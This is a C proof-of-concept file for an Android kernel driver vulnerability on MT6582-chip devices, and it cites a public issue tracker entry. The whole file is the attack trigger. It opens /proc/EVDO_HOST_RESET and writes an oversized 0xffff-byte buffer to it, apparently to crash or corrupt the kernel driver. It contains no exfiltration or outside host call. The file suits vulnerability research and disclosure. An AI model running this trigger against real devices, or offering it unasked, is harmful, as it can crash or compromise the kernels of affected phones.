/*
 *https://code.google.com/p/android/issues/detail?id=207657
 *this poc was tested in devices with MT6582 chip
 *chengjia4574@gmail.com 
 */
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

int test_write(int fd)
{
#define SIZE 0xffff
	int ret;
	char buf[SIZE] = {1};

	ret = write(fd, buf, SIZE);
	if(ret<0) {
		printf("write fail %s\n",strerror(errno));
	} else printf("succ write %d byte\n",ret);
	return 0;
}



	int
main(int argc, char *argv[])
{
	char* path = "/proc/EVDO_HOST_RESET";
	int fd;

	int ret;

	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);

	test_write(fd);

	close(fd);
	return 0;
}
